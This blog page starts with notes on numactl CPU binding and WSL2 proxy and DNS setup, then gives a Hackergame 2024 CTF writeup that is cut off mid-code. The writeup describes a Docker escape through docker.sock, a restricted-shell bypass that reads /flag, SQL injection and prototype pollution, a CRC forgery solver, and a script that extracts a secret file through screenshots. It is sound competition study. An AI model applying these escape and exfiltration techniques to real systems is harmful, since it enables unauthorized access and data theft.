mpirun结合numactl对每个进程进行精细的核心、内存绑定

1
2
3
4
5
6
7
8
9
#!/bin/bash
rank=$PMI_RANK
case $rank in
0) numactl --physcpubind=0-15 --membind=0 "$@" ;;
1) numactl --physcpubind=16-31 --membind=0 "$@" ;;
2) numactl --physcpubind=32-47 --membind=1 "$@" ;;
3) numactl --physcpubind=48-63 --membind=1 "$@" ;;
*) echo "Unsupported rank $rank"; exit 1 ;;
esac

对于intel mpi:

1
mpirun -genv I_MPI_PIN=off bind.sh hostname

可以使用numactl -s来打印绑定情况:

1
mpirun -genv I_MPI_PIN=off bind.sh numactl -s

wsl2 debian新机配置

Clash代理配置

宿主机ipconfig获取宿主机ip地址,然后7890.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
proxy_on() {
export http_proxy="http://172.20.224.1:7890"
export https_proxy=$http_proxy
export HTTP_PROXY=$http_proxy
export HTTPS_PROXY=$http_proxy
echo "proxy on"
}

proxy_off() {
unset http_proxy
unset https_proxy
unset HTTP_PROXY
unset HTTPS_PROXY
echo "proxy off"
}

设置DNS

取消自动创建resolv.conf
1
2
3
# /etc/wsl.conf
[network]
generateResolvConf = false

文件不存在则创建。

删除软链接
1
rm /etc/resolv.conf
新建 /etc/resolv.conf
1
2
nameserver 8.8.8.8
nameserver 8.8.4.4

然后重启虚拟机。(wsl --shutdown

在不开启proxy的情况下能curl通 www.baidu.com即成功。

Hackergame24 Writeup

image-20241110203743680

签到

抓包然后把pass=false改为true。

喜欢做签到的CTFer你们好呀

image-20241110160930317

image-20241110160943948

image-20241110161015899

image-20241110161045059

image-20241110161119964

猫咪问答

第一题

image-20241110161243196

第二题

去搜每一年的选手writeup,有些选手会截图排名,里面有参加人数。

第三题

论文里有336这个数字。

第四题

image-20241110161551182

image-20241110161929801

第六题

1
2
3
4
5
6
7
8
9
10
from transformers import AutoTokenizer
from huggingface_hub import login
login("TOKEN")
tokenizer = AutoTokenizer.from_pretrained("meta-llama/Meta-Llama-3-70B")
text = """<!DOCTYPE html>
...
"""
tokens = tokenizer.tokenize(text)
num_tokens = len(tokens)
print(f"Number of tokens in your text: {num_tokens}")

打不开的盒

去3d打印文件在线浏览网站操作一下就行。

每日论文太多了

在pdf搜flag可以看到一个隐藏的flag here文本。转word然后移开哪里的东西,可以看到一个被覆盖在底层的flag图片。

比大小王

抓包可以看到100对数字。在结束前改掉js里要发送的那个变量。

旅行照片 4.0

问题1

百度地图搜索。

问题2

搜索看到B站一个up主发的视频,评论区询问得知活动日期是发布日期前几天,枚举。

问题4

搜图可以得到。

问题3

由于问题4正确性比较确定,所以直接枚举安徽所有2字公园。

问题5

没做出来。

问题6

可以搜到是怀密号,CRH6A-A

不宽的宽字符

打印中间变量并测试可以发现,似乎每3个字符在MultiByteToWideChar后变成两个.

对flag里的每两个字符爆破。

最后加的 you_cant_get_the_flag,使用\0截断处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>
#include <stdio.h>
int main() {
char inputBuffer[256] = { 0 };

for (int i = 0; i < 256; i++) {
for(int j=0;j<256;j++){
for(int k=0; k<256; ++k) {
// for(int l=0; l<256; ++l) {
inputBuffer[0] = i;
inputBuffer[1] = j;
inputBuffer[2] = k;
wchar_t buf[256] = { 0 };
char* ptr_buf = (char*)buf;
MultiByteToWideChar(CP_UTF8, 0, inputBuffer, -1, buf, sizeof(buf) / sizeof(wchar_t));

if((unsigned char)ptr_buf[0] == 0x0 && (unsigned char)ptr_buf[1] != 0x0) {
printf("buf ascii of ijk (char)0x%x, (char)0x%x, (char)0x%x\n", (unsigned char)i, (unsigned char)j, (unsigned char)k);
for (int i = 0; i < 4; i++) {
printf("%x ", (unsigned char)ptr_buf[i]);
}
printf("\n");
}

// printf("buf: \n");
// printf("%s\n\n", buf);
// }
}
}
}

}
// e3 a9 9a e7 91 9c

PowerfulShell

搜索那些没被过滤的字符,学习它们的用法。

$_获取在此之前执行的命令或者脚本的最后一个参数。也就是input

再用一些字符串截断技巧,得到:

1
2
3
4
5
# i: ${_:1-6:1}
# n: ${_:1:1}
# p: ${_:2:1}
# u: ${_:3:1}
# t: ${_:4:1}

接下来按理说应该构造命令然后去获得其他字母。理论上 ip nt是可以获得很多输出,但是题目环境没这个命令,比较棘手。

所以去题目环境 $PATH目录下,用正则表达式搜索,看看有哪些input可以构造出的命令。

发现一个 i386,敲一下发现直接获得了shell。。还是比较意外的。

所以只需要${_:1-6:1}386,然后cat /flag

image-20241110163900581

Node.js is Web Scale

看到那些键值访问就想到了这种比赛天天出的原型链污染。利用这个特性给cmd加上一个自己的命令。

PaoluGPT

第一题爬虫。

第二题sql注入,获得shown=false的那些条目,就是flag。

强大的正则表达式

easy

16可以被10000整除。所以枚举出所有可能的最低4位数。

medium/hard

这两题是一样的,问gpt会知道一个叫DFN的东西,简单学习后可以编写出对应的状态机。

然后就是从状态机构造正则表达式。一开始尝试自己构造,但总是过长。后来找到了从gpt得知pyformlang这个工具,可以自动构造。

但是构造出来的表达式无法通过题目测试,用ctrl点进去这个库看注释,发现它用了自己的一套语法,所以手动给纠正过来。

也就是

1
print(str(regex).replace(".", ""))

(他好像说是用了 .来表示拼接?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import random
import re
from pyformlang.finite_automaton import DeterministicFiniteAutomaton, State
from pyformlang.regular_expression import Regex

# 定义状态转换表
transitions = {
'q0': {'0': 'q0', '1': 'q1'},
'q1': {'0': 'q2', '1': 'q3'},
'q2': {'0': 'q4', '1': 'q5'},
'q3': {'0': 'q6', '1': 'q7'},
'q4': {'0': 'q8', '1': 'q9'},
'q5': {'0': 'q10', '1': 'q11'},
'q6': {'0': 'q12', '1': 'q0'},
'q7': {'0': 'q1', '1': 'q2'},
'q8': {'0': 'q3', '1': 'q4'},
'q9': {'0': 'q5', '1': 'q6'},
'q10': {'0': 'q7', '1': 'q8'},
'q11': {'0': 'q9', '1': 'q10'},
'q12': {'0': 'q11', '1': 'q12'}
}

# 创建 DFA 实例
dfa = DeterministicFiniteAutomaton()

# 定义起始状态和接受状态
start_state = State("q0")
dfa.add_start_state(start_state)
dfa.add_final_state(start_state) # 可以根据需求设定其他接受状态

# 将 transitions 中的转换规则添加到 DFA
for state, moves in transitions.items():
for symbol, target in moves.items():
dfa.add_transition(State(state), symbol, State(target))

# 将 DFA 转换为正则表达式
regex = dfa.to_regex()
print(str(regex).replace(".", ""))
print(regex.accepts("101000001010110111100000001010001011000111000110100011000001111"))


def matches_regex(pattern, test_string):
# 编译正则表达式
regex = re.compile(pattern)
# 使用 fullmatch 检查字符串是否完全匹配正则表达式
if regex.fullmatch(test_string):
return True
else:
return False

def generate_random_binary(is_multiple_of_13=True):
if is_multiple_of_13:
# 生成一个随机的 13 的倍数
number = random.randint(1, 2**5) * 13 # 乘以 13 确保是 13 的倍数
else:
# 生成一个随机数,不限制是否是 13 的倍数
number = random.randint(1, 10000)

# 将随机数转换为二进制并打印
binary_representation = bin(number)[2:] # 去掉 '0b' 前缀
print(f"number: {number}, binary: {binary_representation}")
return binary_representation

binary = generate_random_binary()
if matches_regex(str(regex).replace(".", ""), binary):
print("Matched")
else:
print("Not matched")

优雅的不等式

只会做第一问,就是手动构造一下完事了。第二问尝试了对$\frac{1}{1+x^2}$泰勒展开,但是精度不够。

惜字如金 3.0

A题

完形填空。

B题

hash那个函数,可以用模数为合数的二次剩余和线性同余方程直接解,网上有相关代码,于是得到crc的返回结果。

观察crc函数发现,当两个输入input1和input2,只有最后一个字节不同,且不同之处为这个字节的最高位bit时,crc(input1) ^ crc(input2) == flip

所以可以获得flip,推出原文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
import itertools
flips = ['0xe6022de643a7', '0x66022de643a7', '0xf9fdd219bc58', '0x79fdd219bc58', '0xa6022de643a7', '0x26022de643a7', '0xb9fdd219bc58', '0x39fdd219bc58']
flip = int(flips[1], 16)
def crc(input: bytes) -> int:
poly_degree = 48
# poly, poly_degree = 'BbBBbBbBbBBBBBbBBBbBBBBBbBBBBbBBBbBBBbBBBBBBBbBBB', 48
# assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'B'
# flip = sum(['b', 'B'].index(poly[i + 1]) << i for i in range(poly_degree))
# flip = 0xefeeef7ddf56
print("flip: ", hex(flip))
digest = (1 << poly_degree) - 1
for b in input:
digest = digest ^ b
for _ in range(8):
# print(hex(digest))
digest = (digest >> 1) ^ (flip if (digest & 1) == 1 else 0)
# print(hex(digest))

return digest ^ ((1 << poly_degree) - 1)
# 0xc8a563cbeb04->0x6452b1e5f582 0xc8a563cbeb05->0x9bad4e1a0a7d

def hash(input: bytes) -> bytes:
digest = crc(input)
u2, u1, u0 = 0xDFFFFFFFFFFF, 0xFFFFFFFFFFFF, 0xFFFFFFFFFFFF
assert (u2, u1, u0) == (246290604621823, 281474976710655, 281474976710655)
digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)
return digest.to_bytes(48 // 8, 'little')

def sqrt_mod_2k(a, k):
"""
解模为 2^k 的二次剩余问题
a: 给定的二次剩余的值
k: 2^k 作为模数
返回:所有可能解的列表
"""
from sympy.ntheory.residue_ntheory import _sqrt_mod_prime_power, _sqrt_mod1
from sympy.polys.galoistools import gf_crt
from sympy.polys.domains import ZZ
from sympy.ntheory.residue_ntheory import _sqrt_mod_prime_power
from itertools import product

n = 2**k # 模数
factors_of_n = {2: k} # 2^k的质因数分解

x = [] # 存储每个二次剩余的解
p = [] # 存储每个素数次幂

# 对于每个质因数 p_i 和它的指数 e_i
for p_i, e_i in factors_of_n.items():
if a % p_i == 0:
# 如果 a 是 p_i 的倍数,使用 _sqrt_mod1 计算解
x_i = _sqrt_mod1(a, p_i, e_i)
else:
# 否则使用 _sqrt_mod_prime_power 来处理
x_i = _sqrt_mod_prime_power(a, p_i, e_i)
x.append(x_i)
p.append(p_i**e_i)
# 使用中国剩余定理组合每个解
solutions = []
for combin_x in product(*x):
r = gf_crt(combin_x, p, ZZ) # 使用 CRT 组合解
solutions.append(int(r) % (2**k)) # 转换为整数并存储

return solutions

def modular_division(a, b, m):
# ax ≡ b (mod m)
# x = b/a
global xx, yy
xx, yy = 1, 0

def exgcd(a, b):
global xx, yy
if b == 0:
xx, yy = 1, 0
return a
d = exgcd(b, a % b)
xx, yy = yy, xx
yy -= (a // b) * xx
return d

d = exgcd(a, m)
if b % d != 0:
raise ValueError("No solutions")
base_solution = xx * (b // d) % m
solutions = []
t = m // d
for k in range(d):
solutions.append((base_solution + k * t) % m)
return solutions


input_bytes = b" poly, poly_degree = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC', 48!"
# input_bytes = b" poly, poly_degree = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC', 48\xa1"
# print("input hash", hash(input_bytes).hex()) # 1d04ab3e0c39
# if we finally get poly == "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" then we successfully solved the challenge

# from browser
# digest_hex = "1bac42de4b66"
# digest_hex = "f34f34a990f3"


digest_hex = "71d3dbb1a7d0"
# digest_hex = "2b12f8de4444"
calc_hash = hash(input_bytes).hex()
print("calc_hash", calc_hash)

# for i in range(0, len(flips)):
# print(i)
# flip = int(flips[i], 16)
# if hash(input_bytes).hex() == digest_hex:
# print("SUCCESSOMG\n\n\n\n")
# exit()
# exit()
# print("check:", hash(input_bytes).hex(), digest_hex)
# assert hash(input_bytes).hex()[2:] == digest_hex
# this is little endian, so we need to reverse it every 2 characters
digest_hex2 = ''
for i in range(0, len(digest_hex), 2):
digest_hex2 = digest_hex[i:i+2] + digest_hex2

digest2 = int(digest_hex2, 16)
u2, u1, u0 = 0xDFFFFFFFFFFF, 0xFFFFFFFFFFFF, 0xFFFFFFFFFFFF
a = u2
b = u1
c = u0 - digest2

# A^2 = B (mod 2^48)
# A = 2ax+b B = (b^2-4ac)/2
B = (b*b-4*a*c) % 2**48
# assert (0xdbad4e1a0a7d*2*a+b)**2 % (2**48) == B % (2**48)
# assert (0xdbad4e1a0a7d*2*a+b)**2*a % (2**48) == (b*b-4*a*c) % (2**48)

A_list1 = sqrt_mod_2k(B, 48)
A_list = A_list1.copy()
for A in A_list1:
if (-A) % (2**48) not in A_list:
A_list.append((-A) % (2**48))
assert all([A**2 % 2**48 == B for A in A_list])
digest_list = []
for A in A_list:
digest_list.extend(modular_division(2*a, A-b, 2**48))

assert all([(digest*a*2+b)%(1<<48) in A_list for digest in digest_list])
# assert (0xb80faa4d2e7d*a*2+b)%(1<<48) in A_list
# assert(0x57e14530f12)
print("possilbe digests: ", [hex(x) for x in digest_list])


# for digest in digest_list:
# poly_degree = 48
# digest ^= ((1 << poly_degree) - 1)

# we have digest2 = (digest * (digest * u2 + u1) + u0) % (1 << 48)
# u2 * digest^2 + u1 * digest + u0 - digest2 = 0 (mod 2^48)
# make it like a*(x^2 + b) = c:

possible_digest1 = ['0x152a08169c63', '0x952a08169c63', '0xcad5f7e9639c', '0x4ad5f7e9639c', '0xd52a08169c63', '0x552a08169c63', '0x8ad5f7e9639c', '0xad5f7e9639c']
possible_digest2 = ['0xf32825f0dfc4', '0x732825f0dfc4', '0xecd7da0f203b', '0x6cd7da0f203b', '0xb32825f0dfc4', '0x332825f0dfc4', '0xacd7da0f203b', '0x2cd7da0f203b']
possible_flips = []
for digest1, digest2 in itertools.product(possible_digest1, possible_digest2):
if hex(int(digest1, 16) ^ int(digest2, 16)) not in possible_flips:
possible_flips.append(hex(int(digest1, 16) ^ int(digest2, 16)))
print("possible flips: ", possible_flips)
#
# print(hex(digest))

(代码比较乱,需多次修改多次运行)

C题

还是可以用第二题的方法得到很多C那一行。

我们现在获得了flip,可以预测任意输入的哈希,所以让他返回哈希已经没有什么用了。考虑让他返回data。

可以想到让他返回 answer_c.txt的data。也就是构造一个字符串,让他的crc经过base85刚好是 answer_c.

也就是需要从crc的输出,构造出一个合法的输入。可以用z3solver解,暴力串行跑一个晚上可以出来。理论上可以并行85倍。

也可以优化:计算出what_digest_add_chr_x_to_get_digest_y。也就是已知一个crc和它的输入的最后一个字符,可以求出去掉这个字符后的crc。

(虽然优化写了但是懒得加进去,暴力跑一个晚上就完事了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import base64
import itertools
from change_file import modify_file_line
import string
from z3 import *
def z3_crc48(data, poly=0xf9fdd219bc58, num_bytes=80):
crc = BitVecVal((1 << 48) - 1, 48) # 初始值
for i in range(num_bytes): # 遍历每个字节
byte = Extract((num_bytes - i - 1) * 8 + 7, (num_bytes - i - 1) * 8, data)
crc = crc ^ ZeroExt(48 - 8, byte)
for _ in range(8): # 处理每个bit
crc = If(
crc & 1 == 1,
LShR(crc, 1) ^ poly,
LShR(crc, 1)
)
return crc ^ ((1 << 48) - 1)


def send_post():
import requests
url = "http://202.38.93.141:19975/answer_c.py"
# url = "http://127.0.0.1:5000/answer_c.py"
with open("secret3_2.py", 'rb') as f:
data = f.read()
response = requests.post(url, data=data)
print(response.text)
return int(response.text.split("(")[1].split(")")[0], 16)


num_bytes = 80
flags = [""]*64
for i in range(0, 64):
target_crc = 0x4402c8f3cfaa # 替换为实际的目标CRC值
position = 63 - i
num_bytes = 64
# # 使用 Z3 求解输入


# # 添加约束条件:计算出的CRC值应等于目标CRC值

for flag_chr in string.printable:
s = Solver()
input_bits = BitVec('input_bits', 8*num_bytes) # 假设输入为64位
calculated_crc = z3_crc48(input_bits, num_bytes=num_bytes)
s.add(calculated_crc == target_crc)
# 限制position后的x为flag[x]
for j in range(position+1, 64):
s.add(Extract((63-j)*8+7, (63-j)*8, input_bits) == ord(flags[j]))
# 限制position处的字符为flag_chr
s.add(Extract(i*8+7, i*8, input_bits) == ord(flag_chr))
solution = None
while s.check() == sat:
model = s.model()
recovered_input_int = model[input_bits].as_long()
recovered_input = recovered_input_int.to_bytes(num_bytes, 'big') # 转换为字节格式




if b"\n" not in recovered_input and b"\r" not in recovered_input:
solution = recovered_input
break

# 添加新的约束,排除当前解,以找到其他可能的解
s.add(input_bits != recovered_input_int)

print(solution)
if solution:
modify_file_line("secret3_2.py", solution, 20)
# sendpost 返回值(int) 不等于上面solution 的position位
send_post_res = send_post()
print(send_post_res, solution[position])
if send_post_res != solution[position]:
flags[position] = flag_chr
print("".join(flags))
break



# hash = hash(b'i\x0fg\xf8?O\x9by').hex()
# print(base64.b85encode(bytes.fromhex(hash)))

# def what_digest_add_chr_x_to_get_digest_y(x: str, digest_y):
# x: int = int(x, 16)
# digest_y_h8 = digest_y >> 40
# assert x & 0xff == x
# flip = 0xf9fdd219bc58
# is_xor_list = list(itertools.product([0, 1], repeat=8))
# # print(is_xor_list)
# for is_xor in is_xor_list:
# xor_flip = 0
# for i in range(80):
# xor_flip = (xor_flip >> 1) ^ (flip if is_xor[i] == 1 else 0)
# if xor_flip >> 40 == digest_y_h8:
# # print(is_xor)
# break # TODO: 可能有多解
# print(is_xor)
# for prev_digest_l8_xor_x in range(0xff+1):
# prev_digest_l8_xor_x2 = prev_digest_l8_xor_x
# is_ok = True
# for i in range(8):
# if (prev_digest_l8_xor_x2 & 1 != is_xor[i]):
# is_ok = False
# break
# prev_digest_l8_xor_x2 = (prev_digest_l8_xor_x2 >> 1) ^ (flip if prev_digest_l8_xor_x2 & 1 == 1 else 0)
# if is_ok:
# break
# print(bin(prev_digest_l8_xor_x))

# prev_digest_l8 = prev_digest_l8_xor_x ^ x
# prev_digest = digest_y
# for i in range(8):
# if is_xor[7-i] == 1:
# prev_digest = prev_digest ^ flip
# prev_digest = (prev_digest << 1)
# prev_digest = prev_digest & ((1 << 48) - 1)
# prev_digest = ((prev_digest >> 8) << 8) | prev_digest_l8


# # check
# prev_digest_check = prev_digest ^ x
# print(bin(prev_digest_check))
# for i in range(8):
# prev_digest_check = (prev_digest_check >> 1) ^ (flip if prev_digest_check & 1 == 1 else 0)
# print(bin(prev_digest_check))
# print(bin(digest_y))
# assert prev_digest_check == digest_y

# return hex(prev_digest)

无法获得的秘密

首先模拟键盘输入可以把代码传进去。

一开始想传个二维码库进去,发现要传十分钟还是算了,还是直接这样:

image

然后二值化一下,识别中心点的黑白即可。自动化截图的流程,半个消失就能截完。

另外,可以分段sha256,看看某一段有没有错误。

还有这道题如果在半夜做,因为人少会比较流畅(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# 模拟键盘自动化输入
import pyautogui
from PIL import Image
import time
import os

getcode_source_code = """
import os
import sys

def clear_terminal():
os.system('clear')

def read_file_binary_and_print(file_path, start, end):
clear_terminal()

try:
with open(file_path, 'rb') as file:
file.seek(int(start))
data = file.read(int(end) - int(start))
# 将每个字节转换为二进制字符串,填充到8位,然后替换
binary_string = ''.join(f"{byte:08b}" for byte in data)
transformed_string = binary_string.replace('1', '+').replace('0', '_')
print(transformed_string)
except Exception as e:
print(f"Error: {e}")

# 示例用法
file_path = '/secret'
if __name__ == '__main__':
start_position = sys.argv[1]
end_position = sys.argv[2]
read_file_binary_and_print(file_path, start_position, end_position)

"""

source_code_get_hash = """
import hashlib
import sys

def get_8bit_hash(data):
# 使用SHA-256哈希函数
sha256_hash = hashlib.sha256(data).hexdigest()
# 截取前8位作为8位哈希
return sha256_hash[:8]

def hash_file_section(file_path, start, end):
try:
with open(file_path, 'rb') as file:
# 移动到起始位置
file.seek(int(start))
# 读取从起始位置到结束位置的数据
section_data = file.read(int(end) - int(start))
# 计算8位哈希
hash_value = get_8bit_hash(section_data)
print(f"Hash (first 8 chars): {hash_value}")
except FileNotFoundError:
print(f"File not found: {file_path}")
except Exception as e:
print(f"An error occurred: {e}")

# 使用示例,从命令行参数中获取
if __name__ == '__main__':
file_path = '/secret'
start_position = sys.argv[1]
end_position = sys.argv[2]
hash_file_section(file_path, start_position, end_position)

"""


def simulate_keyboard_input(text):
"""
模拟键盘输入文本。

参数:
text (str): 要输入的文本。
"""
# 每1000个字符暂停一下,以避免输入过快

for i in range(0, len(text), 100):
print(i, "/", len(text))
pyautogui.typewrite(text[i:i+100])
time.sleep(0.1)

def take_screenshot_and_save(filename):
"""
截图并保存到指定文件。

参数:
filename (str): 保存截图的文件名(包括路径和扩展名)。
"""
# 截取屏幕
screenshot = pyautogui.screenshot()

# 使用 PIL 保存截图
screenshot.save(filename)

import keyboard

def listen_for_hotkey(hotkey='ctrl+shift+alt+m'):
print(f"Listening for hotkey: {hotkey}")
# 等待热键被按下
keyboard.wait(hotkey)
print("Hotkey detected!")
return True


time.sleep(0.5)
# simulate_keyboard_input(getcode_source_code)
# simulate_keyboard_input(source_code_get_hash)
# exit()
for i in range(312000, 524288, 800):
start = i
end = i + 800
print(f"start: {start}, end: {end}")
simulate_keyboard_input(f"python3 ./g.py {start} {end}\n")
time.sleep(0.4)
take_screenshot_and_save(f"images/image_{start}_{end}.png")
time.sleep(0.4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# 从图片提取数据
import hashlib
import cv2
import struct
import os

# 定义图像文件路径和编号范围
image_folder = 'images'
start_file_index = 0
end_file_index = 524800
step = 800 # 每张图片包含800个字符

# 定义初始位置和间隔
start_x, start_y = 328, 158
x_interval = 13.126
y_interval = 26.25
cols = 143
rows = 45

# 初始化保存所有数据的列表
all_binary_data = []

# 遍历指定范围内的图片
for file_index in range(start_file_index, end_file_index, step):
# 构造文件路径
image_path = os.path.join(image_folder, f'image_{file_index}_{file_index + step}.png')
original_image = cv2.imread(image_path) # 保留原始彩色图像用于标记
image = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)

# 如果文件不存在,跳过
if image is None:
print(f"File not found: {image_path}")
continue

# 二值化图像,识别“+”
_, binary_image = cv2.threshold(image, 50, 255, cv2.THRESH_BINARY_INV)

# 用于保存当前图像的二进制数据
binary_data = []
cnt = 0
row = 0

# 在识别到的加号位置标记为红色
while cnt < 800 * 8:
for col in range(cols):
# 计算字符中心位置
center_x = round(start_x + col * x_interval)
center_y = round(start_y + row * y_interval)

# 获取该位置的像素值
if binary_image[center_y, center_x] < 100: # 低于阈值表示加号
binary_data.append(1) # 加号为1
# 在原图标记加号位置为红色
cv2.circle(original_image, (center_x, center_y), radius=0, color=(0, 0, 255), thickness=-1)
else:
binary_data.append(0) # 下划线为0
cnt += 1
if cnt >= 800 * 8:
break
row += 1

# 将每8个bit压缩成一个字节并追加到总数据中
for i in range(0, len(binary_data), 8):
byte = 0
for bit in binary_data[i:i + 8]:
byte = (byte << 1) | bit
all_binary_data.append(byte)

print(f"Processed: {file_index} - {file_index + step}")

# 将所有数据合并并写入最终的二进制文件
output_file_path = f'output_{start_file_index}_{end_file_index}.bin'
with open(output_file_path, 'wb') as f:
f.write(bytearray(all_binary_data))

# 计算并打印SHA-256哈希前8位
sha256_hash = hashlib.sha256(bytearray(all_binary_data)).hexdigest()
print(f"SHA-256 Hash: {sha256_hash[:8]}")
print(f"{output_file_path} generated.")

Docker for Everyone Plus

在windows里,用securecrt这个客户端可以正常使用ZMODEM。

第一题

一眼也是没什么思路,那么看看第二题加了什么限制。

发现限制了device和privileged这俩参数。那么第一题可以privileged以及挂载/dev/vdb。

然后发现实际上可以用-u 1000:1000 -u 1000:0来控制用户组为root。而root用户组是可以访问/dev/vdb的。

第二题

高强度搜索docker相关漏洞,从https://psych.green/2024/03/02/Docker%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/ 可以得到一个利用docker.sock来逃逸的漏洞。

具体来说,这个文件是docker客户端和docker守护进程通信的文件。我们通过修改宿主机里的这个文件,就可以操控宿主机里的docker守护进程。例如,让宿主机里新建一个docker,并且以root权限挂载/dev/vdb。

然后docker.sock刚好是root用户组可以访问的。把它挂载进去虚拟机,然后

1
docker -H unix://var/run/docker.sock 让宿主机执行的docker参数

看不见的彼方:交换空间

这个感觉就是个操作系统大作业题(

第一题就很简单了,用共享内存交换。

第二题先把B的两个文件合并,然后和A交换,再把A拆成file1和file2.

合并需要能动态调整文件的大小,可以搜到truncate系统调用有这个功能。但它只能释放文件的尾部,不能释放头部。

假设我们要把file1和file2合并,可以这样做:从file2尾部每次读取一些字节,追加到file1头部,然后truncate file2里的这些字节。这样我们得到了文件file,它等于file1+逆序的file2.

然后在A里用相同方法分割之后,file2又回到了正序的。

最后就是要重命名,好像是没有重命名权限,一时想不到什么方法,就用truncate把文件复制两次(第一次之后会变成逆序,所以需要两次),这样就能改变文件名。

最后的最后,写的时候踩到一个大坑:

在自旋锁实现中,

1
2
3
while(1) {
volitile asm("nop");
}

-Og编译,编译器还是会把整个循环优化掉。调了好几个小时一直以为是哪里有竞争,最后才发现是自旋锁的问题。。

需要

1
2
3
4
5
int a;
while(1) {
++a;
}
printf("%d", a);

ZFS文件恢复

只会做第一问。可以用send导出镜像文件,然后在windows里的UFS软件打开,可以直接搜到flag。

链上转账助手

第一问是直接拒绝交易,第二问是通过无限循环耗尽gas。代码给gpt写就完事了。

第三问不会。

不太分布式的软总线

也是让gpt写代码。

第一问

调用getflag1函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <gio/gio.h>
#include <glib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
GError *error = NULL;
GDBusConnection *connection;
GVariant *result;
gchar *flag1;

// 连接到系统总线
connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
if (connection == NULL) {
g_printerr("Failed to connect to system bus: %s\n", error->message);
g_error_free(error);
return 1;
}

// 调用 GetFlag1 方法
result = g_dbus_connection_call_sync(
connection,
"cn.edu.ustc.lug.hack.FlagService", // 服务名
"/cn/edu/ustc/lug/hack/FlagService", // 对象路径
"cn.edu.ustc.lug.hack.FlagService", // 接口名
"GetFlag1", // 方法名
g_variant_new("(s)", "Please give me flag1"), // 参数
G_VARIANT_TYPE("(s)"), // 返回值类型
G_DBUS_CALL_FLAGS_NONE,
-1,
NULL,
&error
);

if (result == NULL) {
g_printerr("Failed to call GetFlag1 method: %s\n", error->message);
g_error_free(error);
g_object_unref(connection);
return 1;
}

// 解析返回值
g_variant_get(result, "(s)", &flag1);
g_print("Flag1: %s\n", flag1);

// 释放资源
g_variant_unref(result);
g_free(flag1);
g_object_unref(connection);

return 0;
}

第二问

忘记了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <gio/gio.h>
#include <glib.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
GError *error = NULL;
GDBusConnection *connection;
GUnixFDList *fd_list;
GUnixFDList *out_fd_list = NULL;
GVariant *result;
gchar *flag2;
int pipe_fds[2];
GCancellable *cancellable = NULL;
const char *message = "Please give me flag2\n";

// 创建一个匿名管道
if (pipe(pipe_fds) == -1) {
g_printerr("Failed to create pipe.\n");
return 1;
}

// 写入特定字符串到管道
write(pipe_fds[1], message, strlen(message));
close(pipe_fds[1]); // 关闭写端

// 连接到系统总线
connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error);
if (connection == NULL) {
g_printerr("Failed to connect to system bus: %s\n", error->message);
g_error_free(error);
close(pipe_fds[0]);
return 1;
}

// 创建一个 GUnixFDList 并添加文件描述符
fd_list = g_unix_fd_list_new();
g_unix_fd_list_append(fd_list, pipe_fds[0], &error);
if (error != NULL) {
